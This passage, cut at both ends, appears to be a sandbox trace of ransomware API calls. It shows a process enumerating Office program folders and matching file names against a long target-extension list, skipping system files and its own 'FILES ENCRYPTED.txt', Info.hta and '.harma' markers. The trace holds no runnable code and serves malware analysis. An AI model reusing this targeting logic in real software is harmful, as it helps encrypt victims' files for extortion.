lpString2="und.jpg") returned -1 [0140.849] lstrlenW (lpString=".bak") returned 4 [0140.849] lstrcmpiW (lpString1=".bak", lpString2=".jpg") returned -1 [0140.849] lstrlenW (lpString=".bay") returned 4 [0140.849] lstrcmpiW (lpString1=".bay", lpString2=".jpg") returned -1 [0140.849] lstrlenW (lpString=".bd") returned 3 [0140.849] lstrcmpiW (lpString1=".bd", lpString2="jpg") returned -1 [0140.849] lstrlenW (lpString=".bin") returned 4 [0140.849] lstrcmpiW (lpString1=".bin", lpString2=".jpg") returned -1 [0140.849] lstrlenW (lpString=".bmp") returned 4 [0140.849] lstrcmpiW (lpString1=".bmp", lpString2=".jpg") returned -1 [0140.849] lstrlenW (lpString=".bz2") returned 4 [0140.849] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0140.849] lstrlenW (lpString=".c") returned 2 [0140.849] lstrcmpiW (lpString1=".c", lpString2="pg") returned -1 [0140.849] lstrlenW (lpString=".cdr") returned 4 [0140.849] lstrcmpiW (lpString1=".cdr", lpString2=".jpg") returned -1 [0140.849] lstrlenW (lpString=".cer") returned 4 [0140.849] lstrcmpiW (lpString1=".cer", lpString2=".jpg") returned -1 [0140.849] lstrlenW (lpString=".cf") returned 3 [0140.849] lstrcmpiW (lpString1=".cf", lpString2="jpg") returned -1 [0140.849] lstrlenW (lpString=".cfc") returned 4 [0140.849] lstrcmpiW (lpString1=".cfc", lpString2=".jpg") returned -1 [0140.849] lstrlenW (lpString=".cfm") returned 4 [0140.850] lstrcmpiW (lpString1=".cfm", lpString2=".jpg") returned -1 [0140.850] lstrlenW (lpString=".cfml") returned 5 [0140.850] lstrcmpiW (lpString1=".cfml", lpString2="d.jpg") returned -1 [0140.850] lstrlenW (lpString=".cfu") returned 4 [0140.850] lstrcmpiW (lpString1=".cfu", lpString2=".jpg") returned -1 [0140.850] lstrlenW (lpString=".chm") returned 4 [0140.850] lstrcmpiW (lpString1=".chm", lpString2=".jpg") returned -1 [0140.850] lstrlenW (lpString=".cin") returned 4 [0140.850] lstrcmpiW (lpString1=".cin", lpString2=".jpg") returned -1 [0140.850] lstrlenW (lpString=".class") returned 6 [0140.850] lstrcmpiW (lpString1=".class", lpString2="nd.jpg") returned -1 [0140.850] lstrlenW (lpString=".clx") returned 4 [0140.850] lstrcmpiW (lpString1=".clx", lpString2=".jpg") returned -1 [0140.850] lstrlenW (lpString=".config") returned 7 [0140.850] lstrcmpiW (lpString1=".config", lpString2="und.jpg") returned -1 [0140.850] lstrlenW (lpString=".cpp") returned 4 [0140.850] lstrcmpiW (lpString1=".cpp", lpString2=".jpg") returned -1 [0140.850] lstrlenW (lpString=".cr2") returned 4 [0140.850] lstrcmpiW (lpString1=".cr2", lpString2=".jpg") returned -1 [0140.850] lstrlenW (lpString=".crt") returned 4 [0140.850] lstrcmpiW (lpString1=".crt", lpString2=".jpg") returned -1 [0140.850] lstrlenW (lpString=".crw") returned 4 [0140.850] lstrcmpiW (lpString1=".crw", lpString2=".jpg") returned -1 [0140.850] lstrlenW (lpString=".cs") returned 3 [0140.850] lstrcmpiW (lpString1=".cs", lpString2="jpg") returned -1 [0140.850] lstrlenW (lpString=".css") returned 4 [0140.850] lstrcmpiW (lpString1=".css", lpString2=".jpg") returned -1 [0140.850] lstrlenW (lpString=".csv") returned 4 [0140.850] lstrcmpiW (lpString1=".csv", lpString2=".jpg") returned -1 [0140.850] lstrlenW (lpString=".cub") returned 4 [0140.850] lstrcmpiW (lpString1=".cub", lpString2=".jpg") returned -1 [0140.850] lstrlenW (lpString=".dae") returned 4 [0140.851] lstrcmpiW (lpString1=".dae", lpString2=".jpg") returned -1 [0140.851] lstrlenW (lpString=".dat") returned 4 [0140.851] lstrcmpiW (lpString1=".dat", lpString2=".jpg") returned -1 [0140.851] lstrlenW (lpString=".db") returned 3 [0140.851] lstrcmpiW (lpString1=".db", lpString2="jpg") returned -1 [0140.851] lstrlenW (lpString=".dbf") returned 4 [0140.851] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0140.851] lstrlenW (lpString=".dbx") returned 4 [0140.851] lstrcmpiW (lpString1=".dbx", lpString2=".jpg") returned -1 [0140.851] lstrlenW (lpString=".dc3") returned 4 [0140.851] lstrcmpiW (lpString1=".dc3", lpString2=".jpg") returned -1 [0140.851] lstrlenW (lpString=".dcm") returned 4 [0140.851] lstrcmpiW (lpString1=".dcm", lpString2=".jpg") returned -1 [0140.851] lstrlenW (lpString=".dcr") returned 4 [0140.851] lstrcmpiW (lpString1=".dcr", lpString2=".jpg") returned -1 [0140.851] lstrlenW (lpString=".der") returned 4 [0140.851] lstrcmpiW (lpString1=".der", lpString2=".jpg") returned -1 [0140.851] lstrlenW (lpString=".dib") returned 4 [0140.851] lstrcmpiW (lpString1=".dib", lpString2=".jpg") returned -1 [0140.851] lstrlenW (lpString=".dic") returned 4 [0140.851] lstrcmpiW (lpString1=".dic", lpString2=".jpg") returned -1 [0140.851] lstrlenW (lpString=".dif") returned 4 [0140.851] lstrcmpiW (lpString1=".dif", lpString2=".jpg") returned -1 [0140.851] lstrlenW (lpString=".divx") returned 5 [0140.851] lstrcmpiW (lpString1=".divx", lpString2="d.jpg") returned -1 [0140.851] lstrlenW (lpString=".djvu") returned 5 [0140.851] lstrcmpiW (lpString1=".djvu", lpString2="d.jpg") returned -1 [0140.851] lstrlenW (lpString=".dng") returned 4 [0140.851] lstrcmpiW (lpString1=".dng", lpString2=".jpg") returned -1 [0140.851] lstrlenW (lpString=".doc") returned 4 [0140.851] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0140.851] lstrlenW (lpString=".docm") returned 5 [0140.852] lstrcmpiW (lpString1=".docm", lpString2="d.jpg") returned -1 [0140.852] lstrlenW (lpString=".docx") returned 5 [0140.852] lstrcmpiW (lpString1=".docx", lpString2="d.jpg") returned -1 [0140.852] lstrlenW (lpString=".dot") returned 4 [0140.852] lstrcmpiW (lpString1=".dot", lpString2=".jpg") returned -1 [0140.852] lstrlenW (lpString=".dotm") returned 5 [0140.852] lstrcmpiW (lpString1=".dotm", lpString2="d.jpg") returned -1 [0140.852] lstrlenW (lpString=".dotx") returned 5 [0140.852] lstrcmpiW (lpString1=".dotx", lpString2="d.jpg") returned -1 [0140.852] lstrlenW (lpString=".dpx") returned 4 [0140.852] lstrcmpiW (lpString1=".dpx", lpString2=".jpg") returned -1 [0140.852] lstrlenW (lpString=".dqy") returned 4 [0140.852] lstrcmpiW (lpString1=".dqy", lpString2=".jpg") returned -1 [0140.852] lstrlenW (lpString=".dsn") returned 4 [0140.852] lstrcmpiW (lpString1=".dsn", lpString2=".jpg") returned -1 [0140.852] lstrlenW (lpString=".dt") returned 3 [0140.852] lstrcmpiW (lpString1=".dt", lpString2="jpg") returned -1 [0140.852] lstrlenW (lpString=".dtd") returned 4 [0140.853] lstrcmpiW (lpString1=".dtd", lpString2=".jpg") returned -1 [0140.853] lstrlenW (lpString=".dwg") returned 4 [0140.853] lstrcmpiW (lpString1=".dwg", lpString2=".jpg") returned -1 [0140.853] lstrlenW (lpString=".dwt") returned 4 [0140.853] lstrcmpiW (lpString1=".dwt", lpString2=".jpg") returned -1 [0140.853] lstrlenW (lpString=".dx") returned 3 [0140.853] lstrcmpiW (lpString1=".dx", lpString2="jpg") returned -1 [0140.853] lstrlenW (lpString=".dxf") returned 4 [0140.853] lstrcmpiW (lpString1=".dxf", lpString2=".jpg") returned -1 [0140.853] lstrlenW (lpString=".edml") returned 5 [0140.853] lstrcmpiW (lpString1=".edml", lpString2="d.jpg") returned -1 [0140.853] lstrlenW (lpString=".efd") returned 4 [0140.853] lstrcmpiW (lpString1=".efd", lpString2=".jpg") returned -1 [0140.853] lstrlenW (lpString=".elf") returned 4 [0140.853] lstrcmpiW (lpString1=".elf", lpString2=".jpg") returned -1 [0140.853] lstrlenW (lpString=".emf") returned 4 [0140.853] lstrcmpiW (lpString1=".emf", lpString2=".jpg") returned -1 [0140.853] lstrlenW (lpString=".emz") returned 4 [0140.853] lstrcmpiW (lpString1=".emz", lpString2=".jpg") returned -1 [0140.853] lstrlenW (lpString=".epf") returned 4 [0140.853] lstrcmpiW (lpString1=".epf", lpString2=".jpg") returned -1 [0140.853] lstrlenW (lpString=".eps") returned 4 [0140.853] lstrcmpiW (lpString1=".eps", lpString2=".jpg") returned -1 [0140.853] lstrlenW (lpString=".epsf") returned 5 [0140.853] lstrcmpiW (lpString1=".epsf", lpString2="d.jpg") returned -1 [0140.853] lstrlenW (lpString=".epsp") returned 5 [0140.853] lstrcmpiW (lpString1=".epsp", lpString2="d.jpg") returned -1 [0140.853] lstrlenW (lpString=".erf") returned 4 [0140.853] lstrcmpiW (lpString1=".erf", lpString2=".jpg") returned -1 [0140.853] lstrlenW (lpString=".exr") returned 4 [0140.853] lstrcmpiW (lpString1=".exr", lpString2=".jpg") returned -1 [0140.853] lstrlenW (lpString=".f4v") returned 4 [0140.854] lstrcmpiW (lpString1=".f4v", lpString2=".jpg") returned -1 [0140.854] lstrlenW (lpString=".fido") returned 5 [0140.854] lstrcmpiW (lpString1=".fido", lpString2="d.jpg") returned -1 [0140.854] lstrlenW (lpString=".flm") returned 4 [0140.854] lstrcmpiW (lpString1=".flm", lpString2=".jpg") returned -1 [0140.854] lstrlenW (lpString=".flv") returned 4 [0140.854] lstrcmpiW (lpString1=".flv", lpString2=".jpg") returned -1 [0140.854] lstrlenW (lpString=".frm") returned 4 [0140.854] lstrcmpiW (lpString1=".frm", lpString2=".jpg") returned -1 [0140.854] lstrlenW (lpString=".fxg") returned 4 [0140.854] lstrcmpiW (lpString1=".fxg", lpString2=".jpg") returned -1 [0140.854] lstrlenW (lpString=".geo") returned 4 [0140.854] lstrcmpiW (lpString1=".geo", lpString2=".jpg") returned -1 [0140.854] lstrlenW (lpString=".gif") returned 4 [0140.854] lstrcmpiW (lpString1=".gif", lpString2=".jpg") returned -1 [0140.854] lstrlenW (lpString=".grs") returned 4 [0140.854] lstrcmpiW (lpString1=".grs", lpString2=".jpg") returned -1 [0140.854] lstrlenW (lpString=".gz") returned 3 [0140.854] lstrcmpiW (lpString1=".gz", lpString2="jpg") returned -1 [0140.854] lstrlenW (lpString=".h") returned 2 [0140.854] lstrcmpiW (lpString1=".h", lpString2="pg") returned -1 [0140.854] lstrlenW (lpString=".hdr") returned 4 [0140.854] lstrcmpiW (lpString1=".hdr", lpString2=".jpg") returned -1 [0140.854] lstrlenW (lpString=".hpp") returned 4 [0140.854] lstrcmpiW (lpString1=".hpp", lpString2=".jpg") returned -1 [0140.854] lstrlenW (lpString=".hta") returned 4 [0140.854] lstrcmpiW (lpString1=".hta", lpString2=".jpg") returned -1 [0140.855] lstrlenW (lpString=".htc") returned 4 [0140.855] lstrcmpiW (lpString1=".htc", lpString2=".jpg") returned -1 [0140.855] lstrlenW (lpString=".htm") returned 4 [0140.855] lstrcmpiW (lpString1=".htm", lpString2=".jpg") returned -1 [0140.855] lstrlenW (lpString=".html") returned 5 [0140.855] lstrcmpiW (lpString1=".html", lpString2="d.jpg") returned -1 [0140.855] lstrlenW (lpString=".icb") returned 4 [0140.855] lstrcmpiW (lpString1=".icb", lpString2=".jpg") returned -1 [0140.855] lstrlenW (lpString=".ics") returned 4 [0140.855] lstrcmpiW (lpString1=".ics", lpString2=".jpg") returned -1 [0140.855] lstrlenW (lpString=".iff") returned 4 [0140.855] lstrcmpiW (lpString1=".iff", lpString2=".jpg") returned -1 [0140.855] lstrlenW (lpString=".inc") returned 4 [0140.855] lstrcmpiW (lpString1=".inc", lpString2=".jpg") returned -1 [0140.855] lstrlenW (lpString=".indd") returned 5 [0140.855] lstrcmpiW (lpString1=".indd", lpString2="d.jpg") returned -1 [0140.855] lstrlenW (lpString=".ini") returned 4 [0140.855] lstrcmpiW (lpString1=".ini", lpString2=".jpg") returned -1 [0140.855] lstrlenW (lpString=".iqy") returned 4 [0140.855] lstrcmpiW (lpString1=".iqy", lpString2=".jpg") returned -1 [0140.855] lstrlenW (lpString=".j2c") returned 4 [0140.855] lstrcmpiW (lpString1=".j2c", lpString2=".jpg") returned -1 [0140.855] lstrlenW (lpString=".j2k") returned 4 [0140.855] lstrcmpiW (lpString1=".j2k", lpString2=".jpg") returned -1 [0140.855] lstrlenW (lpString=".java") returned 5 [0140.855] lstrcmpiW (lpString1=".java", lpString2="d.jpg") returned -1 [0140.855] lstrlenW (lpString=".jp2") returned 4 [0140.855] lstrcmpiW (lpString1=".jp2", lpString2=".jpg") returned -1 [0140.855] lstrlenW (lpString=".jpc") returned 4 [0140.855] lstrcmpiW (lpString1=".jpc", lpString2=".jpg") returned -1 [0140.855] lstrlenW (lpString=".jpe") returned 4 [0140.856] lstrcmpiW (lpString1=".jpe", lpString2=".jpg") returned -1 [0140.856] lstrlenW (lpString=".jpeg") returned 5 [0140.856] lstrcmpiW (lpString1=".jpeg", lpString2="d.jpg") returned -1 [0140.856] lstrlenW (lpString=".jpf") returned 4 [0140.856] lstrcmpiW (lpString1=".jpf", lpString2=".jpg") returned -1 [0140.856] lstrlenW (lpString=".jpg") returned 4 [0140.856] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0140.856] lstrlenW (lpString="WSSFilesToolHomePageBackground.jpg") returned 34 [0140.856] lstrlenW (lpString=".harma") returned 6 [0140.856] lstrcmpiW (lpString1=".harma", lpString2="nd.jpg") returned -1 [0140.856] lstrlenW (lpString="WSSFilesToolHomePageBackground.jpg") returned 34 [0140.856] lstrcmpiW (lpString1="boot.ini", lpString2="WSSFilesToolHomePageBackground.jpg") returned -1 [0140.856] lstrcmpiW (lpString1="bootfont.bin", lpString2="WSSFilesToolHomePageBackground.jpg") returned -1 [0140.856] lstrcmpiW (lpString1="ntldr", lpString2="WSSFilesToolHomePageBackground.jpg") returned -1 [0140.856] lstrcmpiW (lpString1="ntdetect.com", lpString2="WSSFilesToolHomePageBackground.jpg") returned -1 [0140.856] lstrcmpiW (lpString1="io.sys", lpString2="WSSFilesToolHomePageBackground.jpg") returned -1 [0140.856] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="WSSFilesToolHomePageBackground.jpg") returned -1 [0140.856] lstrcmpiW (lpString1="Info.hta", lpString2="WSSFilesToolHomePageBackground.jpg") returned -1 [0140.856] lstrcmpiW (lpString1="3G6885.exe", lpString2="WSSFilesToolHomePageBackground.jpg") returned -1 [0140.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg") returned 118 [0140.856] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 0 [0140.856] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0140.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x426df68 | out: hHeap=0x300000) returned 1 [0140.857] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="GROOVE~1")) returned 1 [0140.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned 90 [0140.857] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned 1 [0140.857] lstrlenW (lpString="GrooveDocumentReview") returned 20 [0140.857] lstrcmpiW (lpString1="C:\\Windows", lpString2="GrooveDocumentReview") returned -1 [0140.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x426df68 [0140.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview") returned 90 [0140.857] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0140.858] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.858] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImage.jpg", cAlternateFileName="ACTIVE~1.JPG")) returned 1 [0140.858] lstrlenW (lpString="ActiveTabImage.jpg") returned 18 [0140.858] lstrlenW (lpString=".1cd") returned 4 [0140.858] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0140.858] lstrlenW (lpString=".3ds") returned 4 [0140.858] lstrcmpiW (lpString1=".3ds", lpString2=".jpg") returned -1 [0140.858] lstrlenW (lpString=".3fr") returned 4 [0140.858] lstrcmpiW (lpString1=".3fr", lpString2=".jpg") returned -1 [0140.858] lstrlenW (lpString=".3g2") returned 4 [0140.858] lstrcmpiW (lpString1=".3g2", lpString2=".jpg") returned -1 [0140.858] lstrlenW (lpString=".3gp") returned 4 [0140.858] lstrcmpiW (lpString1=".3gp", lpString2=".jpg") returned -1 [0140.858] lstrlenW (lpString=".7z") returned 3 [0140.858] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0140.858] lstrlenW (lpString=".accda") returned 6 [0140.858] lstrcmpiW (lpString1=".accda", lpString2="ge.jpg") returned -1 [0140.858] lstrlenW (lpString=".accdb") returned 6 [0140.858] lstrcmpiW (lpString1=".accdb", lpString2="ge.jpg") returned -1 [0140.858] lstrlenW (lpString=".accdc") returned 6 [0140.858] lstrcmpiW (lpString1=".accdc", lpString2="ge.jpg") returned -1 [0140.858] lstrlenW (lpString=".accde") returned 6 [0140.858] lstrcmpiW (lpString1=".accde", lpString2="ge.jpg") returned -1 [0140.859] lstrlenW (lpString=".accdt") returned 6 [0140.859] lstrcmpiW (lpString1=".accdt", lpString2="ge.jpg") returned -1 [0140.859] lstrlenW (lpString=".accdw") returned 6 [0140.859] lstrcmpiW (lpString1=".accdw", lpString2="ge.jpg") returned -1 [0140.859] lstrlenW (lpString=".adb") returned 4 [0140.859] lstrcmpiW (lpString1=".adb", lpString2=".jpg") returned -1 [0140.859] lstrlenW (lpString=".adp") returned 4 [0140.859] lstrcmpiW (lpString1=".adp", lpString2=".jpg") returned -1 [0140.859] lstrlenW (lpString=".ai") returned 3 [0140.859] lstrcmpiW (lpString1=".ai", lpString2="jpg") returned -1 [0140.859] lstrlenW (lpString=".ai3") returned 4 [0140.859] lstrcmpiW (lpString1=".ai3", lpString2=".jpg") returned -1 [0140.859] lstrlenW (lpString=".ai4") returned 4 [0140.859] lstrcmpiW (lpString1=".ai4", lpString2=".jpg") returned -1 [0140.859] lstrlenW (lpString=".ai5") returned 4 [0140.859] lstrcmpiW (lpString1=".ai5", lpString2=".jpg") returned -1 [0140.859] lstrlenW (lpString=".ai6") returned 4 [0140.859] lstrcmpiW (lpString1=".ai6", lpString2=".jpg") returned -1 [0140.859] lstrlenW (lpString=".ai7") returned 4 [0140.859] lstrcmpiW (lpString1=".ai7", lpString2=".jpg") returned -1 [0140.859] lstrlenW (lpString=".ai8") returned 4 [0140.859] lstrcmpiW (lpString1=".ai8", lpString2=".jpg") returned -1 [0140.859] lstrlenW (lpString=".anim") returned 5 [0140.859] lstrcmpiW (lpString1=".anim", lpString2="e.jpg") returned -1 [0140.859] lstrlenW (lpString=".arw") returned 4 [0140.859] lstrcmpiW (lpString1=".arw", lpString2=".jpg") returned -1 [0140.859] lstrlenW (lpString=".as") returned 3 [0140.859] lstrcmpiW (lpString1=".as", lpString2="jpg") returned -1 [0140.859] lstrlenW (lpString=".asa") returned 4 [0140.859] lstrcmpiW (lpString1=".asa", lpString2=".jpg") returned -1 [0140.860] lstrlenW (lpString=".asc") returned 4 [0140.860] lstrcmpiW (lpString1=".asc", lpString2=".jpg") returned -1 [0140.860] lstrlenW (lpString=".ascx") returned 5 [0140.860] lstrcmpiW (lpString1=".ascx", lpString2="e.jpg") returned -1 [0140.860] lstrlenW (lpString=".asm") returned 4 [0140.860] lstrcmpiW (lpString1=".asm", lpString2=".jpg") returned -1 [0140.860] lstrlenW (lpString=".asmx") returned 5 [0140.860] lstrcmpiW (lpString1=".asmx", lpString2="e.jpg") returned -1 [0140.860] lstrlenW (lpString=".asp") returned 4 [0140.860] lstrcmpiW (lpString1=".asp", lpString2=".jpg") returned -1 [0140.860] lstrlenW (lpString=".aspx") returned 5 [0140.860] lstrcmpiW (lpString1=".aspx", lpString2="e.jpg") returned -1 [0140.860] lstrlenW (lpString=".asr") returned 4 [0140.860] lstrcmpiW (lpString1=".asr", lpString2=".jpg") returned -1 [0140.860] lstrlenW (lpString=".asx") returned 4 [0140.860] lstrcmpiW (lpString1=".asx", lpString2=".jpg") returned -1 [0140.860] lstrlenW (lpString=".avi") returned 4 [0140.860] lstrcmpiW (lpString1=".avi", lpString2=".jpg") returned -1 [0140.860] lstrlenW (lpString=".avs") returned 4 [0140.860] lstrcmpiW (lpString1=".avs", lpString2=".jpg") returned -1 [0140.860] lstrlenW (lpString=".backup") returned 7 [0140.860] lstrcmpiW (lpString1=".backup", lpString2="age.jpg") returned -1 [0140.860] lstrlenW (lpString=".bak") returned 4 [0140.860] lstrcmpiW (lpString1=".bak", lpString2=".jpg") returned -1 [0140.860] lstrlenW (lpString=".bay") returned 4 [0140.860] lstrcmpiW (lpString1=".bay", lpString2=".jpg") returned -1 [0140.860] lstrlenW (lpString=".bd") returned 3 [0140.860] lstrcmpiW (lpString1=".bd", lpString2="jpg") returned -1 [0140.860] lstrlenW (lpString=".bin") returned 4 [0140.860] lstrcmpiW (lpString1=".bin", lpString2=".jpg") returned -1 [0140.860] lstrlenW (lpString=".bmp") returned 4 [0140.860] lstrcmpiW (lpString1=".bmp", lpString2=".jpg") returned -1 [0140.861] lstrlenW (lpString=".bz2") returned 4 [0140.861] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0140.861] lstrlenW (lpString=".c") returned 2 [0140.861] lstrcmpiW (lpString1=".c", lpString2="pg") returned -1 [0140.861] lstrlenW (lpString=".cdr") returned 4 [0140.861] lstrcmpiW (lpString1=".cdr", lpString2=".jpg") returned -1 [0140.861] lstrlenW (lpString=".cer") returned 4 [0140.861] lstrcmpiW (lpString1=".cer", lpString2=".jpg") returned -1 [0140.861] lstrlenW (lpString=".cf") returned 3 [0140.861] lstrcmpiW (lpString1=".cf", lpString2="jpg") returned -1 [0140.861] lstrlenW (lpString=".cfc") returned 4 [0140.861] lstrcmpiW (lpString1=".cfc", lpString2=".jpg") returned -1 [0140.861] lstrlenW (lpString=".cfm") returned 4 [0140.861] lstrcmpiW (lpString1=".cfm", lpString2=".jpg") returned -1 [0140.861] lstrlenW (lpString=".cfml") returned 5 [0140.861] lstrcmpiW (lpString1=".cfml", lpString2="e.jpg") returned -1 [0140.861] lstrlenW (lpString=".cfu") returned 4 [0140.861] lstrcmpiW (lpString1=".cfu", lpString2=".jpg") returned -1 [0140.861] lstrlenW (lpString=".chm") returned 4 [0140.861] lstrcmpiW (lpString1=".chm", lpString2=".jpg") returned -1 [0140.861] lstrlenW (lpString=".cin") returned 4 [0140.861] lstrcmpiW (lpString1=".cin", lpString2=".jpg") returned -1 [0140.861] lstrlenW (lpString=".class") returned 6 [0140.861] lstrcmpiW (lpString1=".class", lpString2="ge.jpg") returned -1 [0140.861] lstrlenW (lpString=".clx") returned 4 [0140.861] lstrcmpiW (lpString1=".clx", lpString2=".jpg") returned -1 [0140.861] lstrlenW (lpString=".config") returned 7 [0140.861] lstrcmpiW (lpString1=".config", lpString2="age.jpg") returned -1 [0140.861] lstrlenW (lpString=".cpp") returned 4 [0140.861] lstrcmpiW (lpString1=".cpp", lpString2=".jpg") returned -1 [0140.862] lstrlenW (lpString=".cr2") returned 4 [0140.862] lstrcmpiW (lpString1=".cr2", lpString2=".jpg") returned -1 [0140.862] lstrlenW (lpString=".crt") returned 4 [0140.862] lstrcmpiW (lpString1=".crt", lpString2=".jpg") returned -1 [0140.862] lstrlenW (lpString=".crw") returned 4 [0140.862] lstrcmpiW (lpString1=".crw", lpString2=".jpg") returned -1 [0140.862] lstrlenW (lpString=".cs") returned 3 [0140.862] lstrcmpiW (lpString1=".cs", lpString2="jpg") returned -1 [0140.862] lstrlenW (lpString=".css") returned 4 [0140.862] lstrcmpiW (lpString1=".css", lpString2=".jpg") returned -1 [0140.862] lstrlenW (lpString=".csv") returned 4 [0140.862] lstrcmpiW (lpString1=".csv", lpString2=".jpg") returned -1 [0140.862] lstrlenW (lpString=".cub") returned 4 [0140.862] lstrcmpiW (lpString1=".cub", lpString2=".jpg") returned -1 [0140.862] lstrlenW (lpString=".dae") returned 4 [0140.862] lstrcmpiW (lpString1=".dae", lpString2=".jpg") returned -1 [0140.862] lstrlenW (lpString=".dat") returned 4 [0140.862] lstrcmpiW (lpString1=".dat", lpString2=".jpg") returned -1 [0140.863] lstrlenW (lpString=".db") returned 3 [0140.863] lstrcmpiW (lpString1=".db", lpString2="jpg") returned -1 [0140.863] lstrlenW (lpString=".dbf") returned 4 [0140.863] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0140.863] lstrlenW (lpString=".dbx") returned 4 [0140.863] lstrcmpiW (lpString1=".dbx", lpString2=".jpg") returned -1 [0140.863] lstrlenW (lpString=".dc3") returned 4 [0140.863] lstrcmpiW (lpString1=".dc3", lpString2=".jpg") returned -1 [0140.863] lstrlenW (lpString=".dcm") returned 4 [0140.863] lstrcmpiW (lpString1=".dcm", lpString2=".jpg") returned -1 [0140.863] lstrlenW (lpString=".dcr") returned 4 [0140.863] lstrcmpiW (lpString1=".dcr", lpString2=".jpg") returned -1 [0140.863] lstrlenW (lpString=".der") returned 4 [0140.863] lstrcmpiW (lpString1=".der", lpString2=".jpg") returned -1 [0140.863] lstrlenW (lpString=".dib") returned 4 [0140.863] lstrcmpiW (lpString1=".dib", lpString2=".jpg") returned -1 [0140.863] lstrlenW (lpString=".dic") returned 4 [0140.863] lstrcmpiW (lpString1=".dic", lpString2=".jpg") returned -1 [0140.863] lstrlenW (lpString=".dif") returned 4 [0140.863] lstrcmpiW (lpString1=".dif", lpString2=".jpg") returned -1 [0140.863] lstrlenW (lpString=".divx") returned 5 [0140.863] lstrcmpiW (lpString1=".divx", lpString2="e.jpg") returned -1 [0140.863] lstrlenW (lpString=".djvu") returned 5 [0140.863] lstrcmpiW (lpString1=".djvu", lpString2="e.jpg") returned -1 [0140.863] lstrlenW (lpString=".dng") returned 4 [0140.863] lstrcmpiW (lpString1=".dng", lpString2=".jpg") returned -1 [0140.863] lstrlenW (lpString=".doc") returned 4 [0140.863] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0140.863] lstrlenW (lpString=".docm") returned 5 [0140.863] lstrcmpiW (lpString1=".docm", lpString2="e.jpg") returned -1 [0140.863] lstrlenW (lpString=".docx") returned 5 [0140.864] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0140.864] lstrlenW (lpString=".dot") returned 4 [0140.864] lstrcmpiW (lpString1=".dot", lpString2=".jpg") returned -1 [0140.864] lstrlenW (lpString=".dotm") returned 5 [0140.864] lstrcmpiW (lpString1=".dotm", lpString2="e.jpg") returned -1 [0140.864] lstrlenW (lpString=".dotx") returned 